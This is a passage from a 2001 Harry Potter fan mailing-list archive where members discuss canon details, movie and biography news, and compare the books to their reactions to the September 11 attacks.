black helicopters. Eventually violence against wizards would begin.

The wizards made the right decision to stay secret.




From relliott at jvlnet.com  Sat Sep 15 13:50:26 2001
From: relliott at jvlnet.com (Rachelle Elliott)
Date: Sat, 15 Sep 2001 08:50:26 -0500
Subject: On-topic (HP vs. the 9/11/01 world) & Off-topic & Thank you (not in that order)
References: <1000528838.2361.30723.l8@yahoogroups.com>
Message-ID: <000401c13ded$607c8000$33b191d8@jvlnet.com>

No: HPFGUIDX 26139

I would like to thank everyone in the HP Group for your thoughts and
prayers.  As an American citizen, I feel a strong bond with the countries
who has displayed respect, emotions, etc... during the tragedy.  This will
never be forgotten.

As Dumbledore stated that "in light of Lord Voldemort's return, we are only
as strong as we are united, as weak as we are divided.  Lord Voldermort's
gift for spreading discord and enmity is very great.  We can fight it only
by showing and equally strong bond of friendship and trust.  Differences in
habit and language are nothing at all if our aims are identical and our
hearts are open.  Those affected have bonded and been there in the time of
need.  I never really though about how other nations would be affected by a
tragedy on another counties soil.  I just could not see out of my own box.
But, this could have happened anywhere (Unfortunately we do not have a
Secret Keeper to keep our homes safe).

You never really know who is affected by evil.  For example, Neville
Longbottom.  I never really took a second though about who, besides Harry,
had suffered because of Lord Voldemort.  It was just Harry.  But as I learn
of others I grow more aware of the problem, evil affects everyone.  Harry is
not alone in his fight.  He has friends, neighbors, family (?), peers, and
others who are willing to stand up to evil.  Everyone (directly and
indirectly) has suffered greatly.
(I am comparing Harry and the US for immediate purposes.  It could have been
any country in the world or any tragedy in the world.  They would also be
compared to Harry.  Please no nasty comments.  I could not take it right
now.)

Cornelius Fudge.  I really never understood why he wanted to ignore that
Lord Voldemort was back.  Maybe his ignores is actually disbelief.  The
feelings are temporary.  It was like when I was told that the tragedy
occurred.  The severity never really hit until I saw the world trade centers
fall and my middle school students had millions of questions.  In GoF, Fudge
had not really seen the actual violence.  He was not in the grave yard when
Lord Voldemort rose from the grave.  Since he as seen war, he does know what
dark times are coming.  It would be nice to turn of the radio, TV, and
telephone and hide in bed forever.  Pretend that everything is OK and
nothing bad is going to happen in the next coupe of days, weeks, months, and
years.  But in the end, we can not.

Arthur Weasley.  Arthur can be one of those millions of individuals working
his long hours.  He could be a fire fighter, police, business man,
politician, FBI, Air line worker, counselor, red cross volunteer, the list
is endless, etc... Anyone who is working tirelessly to help others
throughout the tragedy.  His heart, mind, and soul are in the right place
and I thank him for that.  He would give anything he could to those who need
it and he has instilled those values upon his children.  He is honorable
because he stands up for what he believes in.

Draco Malfoy.  There has been a lot of discussion about him in the group
during the past couple of months.  He could be to the children and adults
celebrating the attack on the streets.  He did made insensitive statements
on the train ride back home in GoF just, like some of the individuals
celebrating on the street.  But I truly believe that Draco and some
celebrating individuals will see the errors of their ways.  In then end,
they will make a positive choice to save human life.

Snape.  I hope that Snape will end up being on of the terrorists that turns
in the ring leaders of the attacks.  He may have done some terrible things
in the past, but made the tough choice to put his own life on the line to
save others.

When Harry made the comment about Mrs. Weasley probably not wanting George
and Fred to work for the Ministry of Magic, is really accurate.  I am
comparing the MOM to the Armed Services or the rescue workers.  No family
wants to lose a loved one.  But, It is honorable and right to try to protect
others.  Those whose give the ultimate sacrifice for others leave their
families forever.  Their families are affected the most.  The have no one to
hug and tell how they loved them.  The freedom we have is contributed to
individuals we may never know.

Death Eaters v.s. Terrorists.  The are both secretive and hidden.  The could
be living next door to us or working at the desk next to ours (Macnair).
The terrorists used innocent people to get information.  Ludo Bagman did not
realize that he had helped evil just like the flying schools did not realize
they were training terror.

Remember Cedric (all the innocent lives lost), Remember if at time should
come when you have to make a choice between what is right and what is easy,
remember what happened to a boy who was good and kind and brave, because he
strayed across the path of Lord Voldermort.  Remember Cedric Diggory.  I do
feel a little be of compassion for the countries who need to make a choice.
The have common bonds with the terrorists (family, friends, neighbors,
protectors, etc...)  Making the right choice is NOT the easy choice for
them.

In Harry Potter, there is a clear enemy (Lord Voldemort & the Death Eaters).
W.W.I., W.W.II, Persian Gulf, etc.. there was a clear enemy.  Who is
responsible?  There is speculation but, no concrete proof (as of yet).  The
disappearances of Berta & Frank were mysterious.  Dumbledore had connected
them to Lord Voldermoret but that was all speculation.  There was no actual
proof that those individuals were dead until Voldemort's wand told Harry.
But, the information is only as good as the person who remembers it.  Lord
Voldemort also made his speech in the Death Eaters in which he mapped out
some of his strategy.  Will Harry remember?  A lot of things had happened in
a short period of time.  Does some unknowing person know vital information
in the tragedy and not realize it?

Thank you again.  I had been slowly leaving the HP club because of some
things that had happened.  On one of my first e-mail postings, I received a
petty personal e-mail from someone who negatively informed me I spelled
Voldemort incorrectly.  Then, I wanted to post a questions but was not sure
it was off-topic.  So, I e-mailed the moderators to find out.  I was told to
wait then received an e-mail to post it (from different people).  I then got
an e-mail back saying I was not suppose to post it and my error was publicly
known.  I was humiliated.

I only let you know this because in the end the reasons, in the scheme of
recent events, are actually petty.  I would have never know the compassion
and support that everyone has.  Petty differences may get under our skin,
but it is the big things that matter.  Please remember that when we get
upsets with each other in the future.

Try to stay strong.  We need to be there for each other in this time of
need.



"What will come, will come...and we will have to meet it when it does."
Rachelle Elliott
Janesville, Wisconsin, United States of America




From rth_adidas at hotmail.com  Sat Sep 15 15:41:23 2001
From: rth_adidas at hotmail.com (rth_adidas at hotmail.com)
Date: Sat, 15 Sep 2001 15:41:23 -0000
Subject: Recent Events
Message-ID: <9nvsr3+aplh@eGroups.com>

No: HPFGUIDX 26140

Hey Everybody
I am an American who lives in Saudi Arabia and have many Arab 
friends. I knew what the TV was showing about the palestians wasn't 
what the majority believed, having some palestian friends who were 
just as shocked as me. We over here are still in shock. Some people 
in the States need to be less ignorant and stop blaming all Arabs.




From aiz24 at hotmail.com  Sat Sep 15 16:06:54 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 15 Sep 2001 12:06:54 -0400
Subject: Onion - MOVIE: Vanity Fair comments
Message-ID: <F121g8Z2r01NLXpDNVW00012f46@hotmail.com>

No: HPFGUIDX 26141

Joywitch reported:

>The latest issue of The Onion (a weekly parody newspaper found at 
>www.onion.com) has this amusing little article:
>
>Sci-Fi Fans Argue The Better Of Two As-Yet-Unreleased Films

Oh my, The Onion must have a spy on this list.  They don't even have to 
parody us--we really say these things!

Gwen commented, in a post calculated to make her the next president of 
L.O.O.N.:

>Has anyone else noticed that the nails on his left hand are long and 
>pointy?
>Almost femininely manicured. The right hand is closely trimmed.

He must be a guitar player, one who switched the strings a la Paul McCartney 
so that he strums with his left.

I have a nitpick to add.  In canon, Goyle has spiky hair and Crabbe has a 
pudding-bowl haircut.  One of these boys has curly hair, so the pudding-bowl 
thing isn't going to work, but shouldn't he at least be Crabbe so Goyle can 
be the one with the low hairline and crew cut?  The casting must've been 
fairly random, given that their personalities are identical, so they could 
have swapped them easily.  Now that's a gauntlet.  Bring on the posts 
explaining the differences between Crabbe and Goyle!

On a related point, I agree with George_Weasleys_Girlfriend's analysis and 
others that have pointed out that taken all in all, George is the kinder, 
gentler twin.  This shows in the Quidditch team picture, don't you think?

As for the lack of robes, I share Kelly's fear but continue to hope that 
they will have robes on over their gear when they actually play.  Someone 
who has the poster book might be able to relieve our anxiety on this point 
<g>.

Amy Z
relieved that they wear more than a t-shirt and sweats under their robes 
when they go head-to-head with a Bludger, not to mention a Slytherin Chaser

----------------------------------------------------------------------
"I say to you all, once again--in the light of Lord Voldemort's  return, we 
are only as strong as we are united, as weak as we are  divided.
  "Lord Voldemort's gift for spreading discord and enmity is very   great.  
We can fight it only by showing an equally strong bond of   friendship and 
trust.  Differences of habit and language are nothing  at all if our aims 
are identical and our hearts are open."
                                               -Albus Dumbledore
----------------------------------------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From ebonyink at hotmail.com  Sat Sep 15 16:06:53 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sat, 15 Sep 2001 16:06:53 -0000
Subject: Muggles and Wizards (was Re: House Size)
In-Reply-To: <9nvf41+dn3p@eGroups.com>
Message-ID: <9nvuat+8hjc@eGroups.com>

No: HPFGUIDX 26142

--- In HPforGrownups at y..., "Jim Ferer" <jferer at y...> wrote:
> 
> I've always been interested in what would happen if our world found 
> out that the wizard world was real, and I see problems. What you 
said touches on the problem. I fear that if we did find out wizards 
were real, there would be rapidly growning jealousy and resentment 
for everything in the world the wizards could have "fixed" but 
didn't. 
> 
> The next step would be that people would think wizards were running 
> the world behind the scenes to suit themselves. An awful lot of 
people look for the invisible puppeteers messing up their lives, 
whether they're members of the Tripartite Commission or the UN, or 
flying black helicopters. Eventually violence against wizards would 
begin.
> 
> The wizards made the right decision to stay secret.


I totally agree with you, Jim.  Octavia Butler posited in her 
Xenogenesis theory that human beings were hierarchical... and we 
*are*.  We tend to Sort ourselves according to our differences even 
when we self-righteously say that we do not.

We must remember that according to JKR's implied backstory (derived 
from canon and the schoolbooks), the Muggle world's persecution is 
what drove the wizarding world into hiding in the first place.

--Ebony AKA AngieJ




From aiz24 at hotmail.com  Sat Sep 15 16:34:45 2001
From: aiz24 at hotmail.com (aiz24 at hotmail.com)
Date: Sat, 15 Sep 2001 16:34:45 -0000
Subject: quick note on twins (was The Figg Factor . . .)
In-Reply-To: <00e601c13dd1$f2938d60$a13470c2@c5s910j>
Message-ID: <9nvvv5+cnlp@eGroups.com>

No: HPFGUIDX 26143

Neil wrote:

> Q: While I'm on twins, are Parvati and Padma identified as identical 
twins ?
> I can't recall.

Yep.  GoF chapter 12, when Harry asks about whether siblings are 
always sorted into the same house.

The presence of two sets of identical twins is a major red flag, 
I agree--the plot possibilities of a mixup are tremendous.  Especially 
given that the very first time we see Fred and George the point is 
driven home that even their parents mix them up sometimes.

Amy Z

----------------------------------------------------------------------
 "I say to you all, once again--in the light of Lord Voldemort's  
 return, we are only as strong as we are united, as weak as we are  
 divided.
   "Lord Voldemort's gift for spreading discord and enmity is very
 great.  We can fight it only by showing an equally strong bond of
 friendship and trust.  Differences of habit and language are nothing 
 at all if our aims are identical and our hearts are open."
                                               -Albus Dumbledore  
----------------------------------------------------------------------





From neilward at dircon.co.uk  Sat Sep 15 17:35:41 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 15 Sep 2001 18:35:41 +0100
Subject: New JKR biography "exposes myths"
Message-ID: <025501c13e0c$db243f40$603570c2@c5s910j>

No: HPFGUIDX 26144

An article in this Saturday's _Independent_ newspaper previews the "first"
published biography of J K Rowling: the imaginatively-titled _J K Rowling, A
Biography_ by Sean Smith, which is out shortly.  It suggests that the author
added "the odd fictional touch to her own life story".

Nothing too startling to reveal: she isn't the long lost cousin of Nancy
Stouffer, for example.  She was, according to this biog, narrowly rejected
by Oxford University and disliked her time at Wyedean Comprehensive (where
she was Head Girl).  The article says it is unclear whether the rejection by
Oxford coloured her portrayal of Boarding Schools (the journalist *seems* to
be implying that she might resent those who have a monied, influential
background).

More interesting is the fact that JKR was not born in Chipping Sodbury, but
in the nearby new town of Yate.  It's also mentioned that she has no middle
name and took the name Kathleen from her grandmother (something I've heard
before, somewhere).

It sounds like this biography  - unauthorised, btw - is not exactly a
rose-tinted portrait, and since it interviews some of the same people who
appeared on the recent television documentary about the Harry Potter
phenomenon (e.g. her Pettigrew-like former Chemistry teacher, who just
*loves* to imagine Snape is based on him), I can hear the sound of barrels
being scraped.

The book is published by Michael O'Mara Books Ltd.

For the life of me, I can't find the article online, but here's a link to
the newspaper itself: http://www.independent.co.uk/

Neil
________________________________________
Flying Ford Anglia









From meboriqua at aol.com  Sat Sep 15 20:43:36 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 15 Sep 2001 20:43:36 -0000
Subject: On-topic (HP vs. the 9/11/01 world) & Off-topic & Thank you (not in that order)
In-Reply-To: <000401c13ded$607c8000$33b191d8@jvlnet.com>
Message-ID: <9o0eho+trr8@eGroups.com>

No: HPFGUIDX 26145

--- In HPforGrownups at y..., "Rachelle Elliott" <relliott at j...> wrote:
 
> You never really know who is affected by evil.  For example, Neville
> Longbottom.  I never really took a second though about who, besides 
Harry, had suffered because of Lord Voldemort.  It was just Harry.  
But as I learn of others I grow more aware of the problem, evil 
affects everyone.  Harry is not alone in his fight.  He has friends, 
neighbors, family (?), peers, and others who are willing to stand up 
to evil.  Everyone (directly and indirectly) has suffered greatly.>

I really like what you wrote and you compared Harry and his world to 
what has been going on in RL.  I, too have been thinking about Harry.  
We've definitely been struck by Death Eaters and we have a lot to 
learn.  It is so true that many more lives are touched by tragedy than 
what we first think.  How could any of us have known Neville's 
history?  I love Harry all the more for having a heart big enough to 
feel for Neville when Harry has suffered losses no less tragic.  I 
love Harry all the more for having the resolve to do the right thing.  
He inspires me.  

I am hearing that Bush is officially planning a retaliation, which 
sickens me.  If they draft men, my boyfriend will have to go.  I 
wonder what Dumbledore would say.  Somehow, I cannot imagine him 
advising others to go out and destroy the land and lives of the people 
who are our perceived enemies.  I hate the idea that Afghanistan will 
be bombed because they too have families, jobs and lives.  Bin Laden, 
I am willing to bet, will not be killed in any retaliation.  I wish 
sometimes (well, all the time, really) that Dumbledore was real and 
could sit down and have a long talk with Bush.

  On one of my first e-mail postings, I received a
> petty personal e-mail from someone who negatively informed me I 
spelled Voldemort incorrectly. >

I've been there.   Just ask John Walton about the day I wrote "whose" 
instead of "who is"!

--jenny from ravenclaw *********************




From jkusalavagemd at yahoo.com  Sat Sep 15 20:47:13 2001
From: jkusalavagemd at yahoo.com (jkusalavagemd at yahoo.com)
Date: Sat, 15 Sep 2001 20:47:13 -0000
Subject: quick note on twins (was The Figg Factor . . .)
In-Reply-To: <9nvvv5+cnlp@eGroups.com>
Message-ID: <9o0eoh+qrm3@eGroups.com>

No: HPFGUIDX 26146

--- In HPforGrownups at y..., aiz24 at h... wrote:

> The presence of two sets of identical twins is a major red flag,
> I agree--the plot possibilities of a mixup are tremendous.  Especially
> given that the very first time we see Fred and George the point is
> driven home that even their parents mix them up sometimes.
>
> Amy Z

Ah, but which set(s) of twins will figure in the hypothetical mixup:
The Patils, the Weasleys, the as-yet-unintroduced Romulus Lupin, or
some other pair?  I think that, as far as narrative power goes, the
previous mixups because of Polyjuice Postion have stolen much of the
thunder from a mixup of twins.  Still, JKR has demonstrated over and
over her economy of language.  She doesn't write anything simply to
pad the story, and she has in effect underlined the presence of twins
as a possible plot device.  Another Red Flag has been waved!

Haggridd





From JenniferABacker at cs.com  Sat Sep 15 20:56:01 2001
From: JenniferABacker at cs.com (JenniferABacker at cs.com)
Date: Sat, 15 Sep 2001 16:56:01 EDT
Subject: OT: Fast and easy way to help
Message-ID: <34.1aef52e3.28d51a61@cs.com>

No: HPFGUIDX 26147

Hello! Before this becomes against the rules, I found another way to help :D 
Everyone can do it to. Just go to www.thehungersite.com and click the 'donate 
food' link each day! The Hunger Site is up all year round and is usually for 
other countries but up until September 30th the food will go to NY and 
Washington D.C! Please go click the link. After Sept. 30th DON'T STOP! Just 
because it doesn't go to the U.S doesn't mean you can stop. They need it just 
as much...if not more! 

By clicking the link, you donate 1 cup of food.

www.freedonation.com is also a great site, but I don't think it's doing 
anything yet for the tragidies. I haven't gone there yet (going in a sec) so 
I could be wrong. Free Donation is set up so you can slick as often as you 
want.

Both site are WONDERFUL and FREE! Please visit them! Also, both sites aren't 
just for giving food. For THS the links are on the top, however, most are not 
working right now. I don't know why. FD's should be on the front page. Go 
help and God bless :)
Forge
PS - Please pass this on!



From shall at sfiweb.demon.co.uk  Sat Sep 15 21:47:41 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sat, 15 Sep 2001 22:47:41 +0100
Subject: [HPforGrownups] Molly's clock
In-Reply-To: <11D1E88E.21FF0260.6E93A4F5@netscape.net>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCEDLDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26148


>The only thing I can think of is that it means 'there is a distinct
possibility of dying in the (rather undefined) near future'.  It would be
consistent to say that the clock can't actually predict the future, because
that depends on <people's choices, but it can weigh the possibilities.

"Mortal peril" is a status report, not a prediction.  I think it has to mean
"in imminent danger of death or serious injury".  If we follow the Shipping
Forecast convention (and there's no reason why we shoud) "imminent" means
"within the next six hours".  So the hand should have hit "mortal peril" the
moment Ginny was snatched into the Chmaber.

Susan





From catlady at wicca.net  Sat Sep 15 22:20:33 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 15 Sep 2001 22:20:33 -0000
Subject: The Figg Factor + some thoughts on Remus
In-Reply-To: <00e601c13dd1$f2938d60$a13470c2@c5s910j>
Message-ID: <9o0k7h+h0c3@eGroups.com>

No: HPFGUIDX 26149

--- In HPforGrownups at y..., "Neil Ward" <neilward at d...> wrote:

> I'll risk presenting (once again) my rather obvious theory that 
> Remus has a twin brother (probably evil), called Romulus Lupin, who
> will play a part in future books. 

I still can't believe in parents stupid enough to name their sons 
(whether or not twins) Romulus and Remus. It would be like naming 
them Cain and Abel, an INVITATION to them to kill each other.

(However, I could believe that the Lupins named their first son 
Romulus because he was born in Rome, and the child unfortunately 
died, and they named their next son Remus sort of in memory of him. 
Maybe Romulus died because of the Dark Side. I don't think that 
Voldemort's Death Eaters were active on the continent, but maybe they 
did something foolish like go visit the grandparents in Britain. 
Maybe the parents left Rome because of the sad memories. That would 
explain why a child whom I choose to believe was born in Greece was 
given a Roman name.)

If the parents used that Naming Charm that Pippin hypothesized, that 
gives the child a name which is related to hiser destiny, that the 
parents aren't able to change, then the destiny reflected in the name 
Romulus Lupin, like the one reflected in the name Remus Lupin, is 
they would both be werewolves.

> **The term "sycophant" (snip) in its modern origins the word 
> derives from "informer," arguably because of an association with 
> people who informed on illegal importers of figs. **

Okay, it DERIVES from 'informer' but it MEANS 'flatterer, suck-up'.

Another meaning of 'fig' is an obscene hand gesture, a fist with the 
thumb sticking out between first and second finger, which is the 
meaning used in the phrase 'I don't give a fig for his opinion'. Just 
as the hand gesture known as 'the finger' (or apparently as 'the 
bird') depicts male genitalia, so the 'fig' depicts female genitalia.




From joym999 at aol.com  Sat Sep 15 22:54:46 2001
From: joym999 at aol.com (joym999 at aol.com)
Date: Sat, 15 Sep 2001 22:54:46 -0000
Subject: OT: Fwd: All Muslims Are Not Death Eaters or Phanfasms!
In-Reply-To: <6870694788.20010914125812@mindspring.com>
Message-ID: <9o0m7m+f0ff@eGroups.com>

No: HPFGUIDX 26150

I want to thank Dave Hardenbrook very, very much for posting that 
moving, anti-racist statement.  I am sending it to everyone I know.  
I want to add something that I received from a friend;  I don't know 
if it is accurate, but the fact that it COULD be is very disturbing 
to me:

Independent Media Center
http://www.indymedia.org:8081

CNN USING 1991 FOOTAGE of celebrating Palistinians to manipulate you
(english) Wednesday 12 Sep 2001
author: Marcio

I'd like to add some ideas from here, down south.

There's an important point in the power of press, specifically the 
power of CNN.

All around the world we are subjected to 3 or 4 huge news 
distributors, and one of them - as you well know - is CNN. Very well, 
I guess all of you have been seeing (just as I've been) images from 
this company. In particular, one set of images called my attencion: 
the Palestinians celebrating the bombing, out on the streets, eating 
some cake and making funny faces for the camera.

Well, THOSE IMAGES WERE SHOT BACK IN 1991!!! Those are images of
Palestinians celebrating the invasion of Kuwait! It's simply
unacceptable that a super-power of cumminications as CNN uses images
which do not correspond to the reality in talking about so serious an
issue.

A teacher of mine, here in Brazil, has videotapes recorded in 1991, 
with the very same images; he's been sending emails to CNN, Globo 
(the major TV network in Brazil) and newspapers, denouncing what I 
myself classify as a crime against the public opinion. If anyone of 
you has access to this kind of files, serch for it. In the meanwhile, 
I'll try to 'put my hands' on a copy of this tape.

--Joywitch

"It is my belief -- and never have I so hoped that I am mistaken -- 
that we are all facing dark and difficult times." -- Albus Dumbledore




From degroote at altavista.com  Sat Sep 15 23:38:01 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 15 Sep 2001 16:38:01 -0700
Subject: [HPforGrownups] On-topic (HP vs. the 9/11/01 world) &
    Off-topic & Thank you (not in that order)
Message-ID: <20010915233801.8698.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 26151

An embedded and charset-unspecified text was scrubbed...
Name: not available
URL: <http://archive.hpfgu.org/pipermail/hpforgrownups/attachments/20010915/15ab2c36/attachment.ksh>

From pkerr06 at attglobal.net  Sun Sep 16 02:31:22 2001
From: pkerr06 at attglobal.net (pkerr06 at attglobal.net)
Date: Sun, 16 Sep 2001 02:31:22 -0000
Subject: OT: Fwd: All Muslims Are Not Death Eaters or Phanfasms!
In-Reply-To: <6870694788.20010914125812@mindspring.com>
Message-ID: <9o12tq+gle4@eGroups.com>

No: HPFGUIDX 26152

--- In HPforGrownups at y..., Dave Hardenbrook <DaveH47 at m...> wrote:
> I was sent this by good friend, and as I think it's very important,
> I've decided to post it, even though it's way OT...
> 
> ===8<==============Original message text===============
> 
> From: Julie Stauffer <juliestauffer at y...>
> To: Carol Tiveron <greenwithnv at h...>
> Date: Friday, September 14, 2001, 10:44:16 AM
> Subject: We are united, they are divided
> 
>
> Remember that when you're talking about "them."  I am the
> "them," and so are your neighbors, co-workers, doctors, and
> teachers.  We are 7 million in this country.  We are not the 
"other,"
> we are as much a part of American society as you or anyone else.
>

I sent a card of support to the local Islamic Center today, saying 
many of the same things in this email.  It felt good to do it.

>From another email list I'm on:

"There's a photo from here that impresses so much that it's carried
everywhere online and real life.

It's a local mosque, surrounded as so many institutional buildings of 
all kinds are by an iron paling fence.  From it hangs the Stars & 
Stripes.  With it is a large hand-lettered red sign that says:

We Pray for Our Nation America
Five times a Day."

That says it all.

Peg





From pkerr06 at attglobal.net  Sun Sep 16 03:23:34 2001
From: pkerr06 at attglobal.net (Peg Kerr)
Date: Sat, 15 Sep 2001 22:23:34 -0500
Subject: After the Triwizard Tournament
Message-ID: <3BA41B35.D15C6DD2@attglobal.net>

No: HPFGUIDX 26153

That's what I feel like I'm living through.  I have to reread that
section of the last book.  Everything you expect turns into something
horribly different.  You are wounded, you are in mortal terror for your
life, all because a psychopath has it in for you for a reason you don't
even understand.  You see a friend die, a good person, an innocent
person, who was simply in the wrong place at the wrong time.  Just when
you think you are safe, that the horror at least is over, you have yet
another shock, realize another betrayal, and you finally understand that
your whole world has become unmoored, changed, infinitely more
dangerous.  Because of what has happened, your enemy has been
immeasurably strengthened.  And you--you're just numb.  All you can do
is to be quiet with your friends.  And honor the lost.

I understand Harry's quiet shock at the end of the book to the depths of
my soul now.  And how that last line resonates in a new way now:

What would come would come . . . and we will all have to meet it when it
does.

Peg




From jacqbeagle at bigpond.com  Sun Sep 16 04:23:23 2001
From: jacqbeagle at bigpond.com (jacqbeagle at bigpond.com)
Date: Sun, 16 Sep 2001 04:23:23 -0000
Subject: MOVIE:  length of movie
Message-ID: <9o19fr+t71o@eGroups.com>

No: HPFGUIDX 26154

Now I know I'm not quoting from the most reliable source but...

The News of the world is reporting that Harry Potter and the 
Philosopher's Stone is currently four hours long, and that Chris 
Columbus now has the task of making it shorter (because Warner Bros 
don't think that kiddies will be able to sit through it).

jacqbeagle





From neilward at dircon.co.uk  Sun Sep 16 05:14:30 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 16 Sep 2001 06:14:30 +0100
Subject: [HPforGrownups] MOVIE:  length of movie
References: <9o19fr+t71o@eGroups.com>
Message-ID: <008001c13e6e$939191c0$c53470c2@c5s910j>

No: HPFGUIDX 26155

jaqbeagle said:

<< Now I know I'm not quoting from the most reliable source but... The News
of the world is reporting that Harry Potter and the Philosopher's Stone is
currently four hours long, and that Chris
Columbus now has the task of making it shorter (because Warner Bros don't
think that kiddies will be able to sit through it).>>

I would also be a bit wary of any 'news' reported in the NOTW, but if this
*is* true, I look forward to the director's cut of the film, which would,
presumably, involve leaving in all the bits CC took out.

Wasn't there talk of GoF being far too long for children of a certain age
and didn't most children devour GoF just like everyone else?  I think
children would be as bothered as adults at the thought of scenes being cut.
Alternatively, perhaps Warner Brothers would consider releasing an edited
version for restless kids and a fuller version for the millions of adult
fans?

One of the things mentioned in the recent "Vanity Fair" article is the idea
that they threw away the rulebook when making this film in an effort to be
as true to the book as possible.  To me, that suggests that they might
produce an incredibly long film and not think so much about tailoring it for
a particular market.

Neil (who would quite happily take up residence in a cinema seat, watching
the HP film playing on a loop).

________________________________________
Flying Ford Anglia

"If you ever need me, send word.  Your owl will find me." [Sirius to Harry,
PoA]





From ohtoresonate at yahoo.com  Sun Sep 16 10:48:33 2001
From: ohtoresonate at yahoo.com (ohtoresonate at yahoo.com)
Date: Sun, 16 Sep 2001 10:48:33 -0000
Subject: New JKR biography "exposes myths"
In-Reply-To: <025501c13e0c$db243f40$603570c2@c5s910j>
Message-ID: <9o2021+vtpm@eGroups.com>

No: HPFGUIDX 26156

--- In HPforGrownups at y..., "Neil Ward" <neilward at d...> wrote:

> An article in this Saturday's _Independent_ newspaper previews the 
> "first" published biography of J K Rowling: the 
> imaginatively-titled _J K Rowling, A Biography_ by Sean Smith, 
> which is out shortly.  It suggests that the author
> added "the odd fictional touch to her own life story".

< snip >

> The book is published by Michael O'Mara Books Ltd.
> 
> For the life of me, I can't find the article online, but here's a 
> link to the newspaper itself: http://www.independent.co.uk/



Hmm...I can't find it on the paper's site either.

But I did find an article that fits your description at

http://www.variety.com/index.asp?layout=story&articleId=NR20010915670.
4_b4a5000c060360d6&query=harry+potter

as well as

http://www.variety.com/index.asp?layout=story&articleId=NR20010913670.
4_fc3b0009648a1a26&query=harry+potter

FYI - Variety.com is usually a subscriber-only site...this 
week is the exception.  If you want the see the above, don't wait!

:) OTR












From troystory3 at aol.com  Sun Sep 16 12:27:14 2001
From: troystory3 at aol.com (troystory3 at aol.com)
Date: Sun, 16 Sep 2001 08:27:14 EDT
Subject: [HPforGrownups] MOVIE:  length of movie
Message-ID: <139.19cb75c.28d5f4a2@aol.com>

No: HPFGUIDX 26157

This week's Entertainment Weekly has Harry Potter on the cover and a 4-6 page 
story on the making of the movie. It also mentions a four hour movie length 
currently and how it will have to be cut before the release. It further 
mentions how the DVD release will be one of the most amazing things to date. 
I might just have to buy a DVD player for it...

Troy

P.S. This was my first post!


[Non-text portions of this message have been removed]




From lumen_dei at yahoo.com  Sun Sep 16 12:32:17 2001
From: lumen_dei at yahoo.com (Lumen)
Date: Sun, 16 Sep 2001 14:32:17 +0200
Subject: Harry the realist
Message-ID: <001901c13eac$00373680$6593153e@poorclar>

No: HPFGUIDX 26158

(A little note on what follows. At our discussion board some of the young people were having difficulties sorting out the ramifications of the attack and the very real war into which it launched America. One of the adults was at her wits ends by the time I could get back to the board. I wanted to use the books to illustrate some points, and for that reason thought it would be interesting here. Much has been omitted since it dealt with direct questions by the youngsters..)

"SO WHAT" Harry shouted. "Don't you understand? If Snape gets hold of the Stone, Voldemort's coming back! Haven't you heard what it was like when he was trying to take over? There won't be any Hogwarts to get expelled from! He'll flatten it, or turn it into a school for the Dark Arts! Losing points doesn't matter anymore, can't you see? D'you think he'll leave you and your families alone if Gryffindor wins the house cup? If I get caught before I can get to the Stone, well, I'll have to go back to the Dursleys and wait for Voldemort to find me there, it's only dying a bit later than I would have, because I'm never going over to the Dark Side! I'm going through that trapdoor tonight and nothing you two say is going to stop me! Voldemort killed my parents, remember?"

Isn't it strange how a child's book can render in such simple terms the only answer for the West at this time; certainly none other is possible for the United States. This is what we face: for the force at work behind this particular terrorism is no different from the story-book Voldemort. 

America is a bit like Harry lying on the cold floor in that hut on the rock. We don't want to open our eyes on a day that might tell us the Golden Gate Bridge is down, thousands in Chicago have been died from poison gas, or downtown Dallas is in flames. Our President made it clear in his address on September 15, we are at war and we have to prepare ourselves for things we have not known since the civil war. Peace is no longer a possibility for us until the enemy has been conquered.nor for the rest of the world.

I am an idealist too, which means at this moment I have to cope with a burning desire to swing myself on to the nearest military truck, have someone show me how to use a semi-automatic and hopefully die fighting for my country, for my world. The world in which I grew up was still very much under the spell of World War II, all the horror of the concentration camps and all the magnificence of the men and women who gave their lives to save people they did not know, lands they had never seen before they hit the beaches on D-Day. As one of the generals in those boats (yes, our generals went into those boats too) said to the men: There are two kinds of men in this boat today: men who are going to die, and men who are going to die today. There are many ways to be an idealist. There are fewer ways to be a hero. The later often requires the giving of one's life. Any idealist can be a hero, but the idealist who is also a realist is more likely to become one. The idealist/realist takes the steps necessary to make the dream live. Harry has become such a person, precisely because his own parents have died.  

Yes, there is a connection between what is happening and the portrait of Voldemort. Some have racked their brains over Quirrell's utterance in the last chamber: 

"A foolish young man I was then, full of ridiculous ideas about good and evil. Lord Voldemort showed me how wrong I was. There is no good and evil, there is only power, and those too weak to seek it...." 

Bin Laden, like Voldemort, has reached that point of evil where, indeed, good and evil no longer exist. This is the quintessence of evil: when there is nothing left but a burning desire for power. Why? That others might worship you. You are the "god" on whom their existence relies. The one who can fulfill all their desires. It must be said that Bin Laden has far surpassed Voldemort in achieving the goal of the ultimate evil. Voldemort can only get the Death Eaters to crawl on their knees to kiss his robe. Bin Laden can get them to die for him. Now that is worship.. For all Bin Laden's rhetoric, nothing really exists for him anymore than the acquisition of power and to exercise it in whatever way feeds his unquenchable egoism.

Maria

www.the-sorting-hat.com



[Non-text portions of this message have been removed]




From s_ings at yahoo.com  Sun Sep 16 12:49:40 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 16 Sep 2001 05:49:40 -0700 (PDT)
Subject: [HPforGrownups] MOVIE:  length of movie
In-Reply-To: <139.19cb75c.28d5f4a2@aol.com>
Message-ID: <20010916124940.36960.qmail@web14603.mail.yahoo.com>

No: HPFGUIDX 26159


--- troystory3 at aol.com wrote:
> This week's Entertainment Weekly has Harry Potter on
> the cover and a 4-6 page 
> story on the making of the movie. It also mentions a
> four hour movie length 
> currently and how it will have to be cut before the
> release. It further 
> mentions how the DVD release will be one of the most
> amazing things to date. 
> I might just have to buy a DVD player for it...

